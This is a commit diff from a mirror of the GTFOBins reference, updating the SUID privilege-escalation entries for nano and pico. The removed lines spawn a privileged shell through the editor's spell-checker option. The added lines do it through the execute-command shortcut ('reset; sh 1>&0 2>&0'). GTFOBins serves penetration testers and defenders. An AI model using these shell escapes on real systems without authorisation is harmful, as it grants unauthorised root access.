mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Update SUID in nano and pico
This commit is contained in:
parent
f7baa8aee6
commit
ac68a5864a
@ -20,12 +20,9 @@ functions:
|
|||||||
suid:
|
suid:
|
||||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
code: |
|
code: |
|
||||||
TF=$(mktemp)
|
./nano
|
||||||
echo '#!/bin/sh -p
|
^R^X
|
||||||
exec sh -p' > $TF
|
reset; sh 1>&0 2>&0
|
||||||
chmod +x $TF
|
|
||||||
./nano -s $TF /etc/hosts
|
|
||||||
^T
|
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
sudo nano
|
sudo nano
|
||||||
|
@ -20,12 +20,9 @@ functions:
|
|||||||
suid:
|
suid:
|
||||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
code: |
|
code: |
|
||||||
TF=$(mktemp)
|
./pico
|
||||||
echo '#!/bin/sh -p
|
^R^X
|
||||||
exec sh -p' > $TF
|
reset; sh 1>&0 2>&0
|
||||||
chmod +x $TF
|
|
||||||
./pico -s $TF /etc/hosts
|
|
||||||
^T
|
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
sudo pico
|
sudo pico
|
||||||
|
Loading…
Reference in New Issue
Block a user